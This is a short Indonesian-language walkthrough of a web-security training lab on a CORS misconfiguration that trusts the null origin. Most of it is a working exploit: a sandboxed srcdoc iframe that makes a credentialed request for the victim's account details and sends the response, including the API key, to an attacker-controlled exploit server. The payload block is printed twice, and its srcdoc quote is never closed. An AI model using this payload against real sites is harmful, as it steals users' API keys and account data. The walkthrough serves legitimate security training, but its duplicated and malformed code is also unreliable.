Lab 17: CORS vulnerability with trusted null origin

Tujuan

Website target hanya percaya sama origin null (identitas kosong). Attacker bisa bikin iframe pake sandbox dan srcdoc supaya origin-nya jadi null, lalu curi data API key dari korban.

Buka lab.
Login dengan wiener : peter.
Klik tombol "Go to exploit server".

Langkah 2: Buat Kode Exploit dengan `srcdoc`

Di kolom "Body" exploit server, isi dengan kode berikut:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc='
    <script>
        var req = new XMLHttpRequest();
        req.onload = reqListener;
        req.open("get","https://YOUR-LAB-ID.web-security-academy.net/accountDetails",true);
        req.withCredentials = true;
        req.send();
        function reqListener() {
            location="https://exploit-YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key="+encodeURIComponent(this.responseText);
        };
    </script>
</iframe>

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc='
    <script>
        var req = new XMLHttpRequest();
        req.onload = reqListener;
        req.open("get","https://YOUR-LAB-ID.web-security-academy.net/accountDetails",true);
        req.withCredentials = true;
        req.send();
        function reqListener() {
            location="https://exploit-YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key="+encodeURIComponent(this.responseText);
        };
    </script>
</iframe>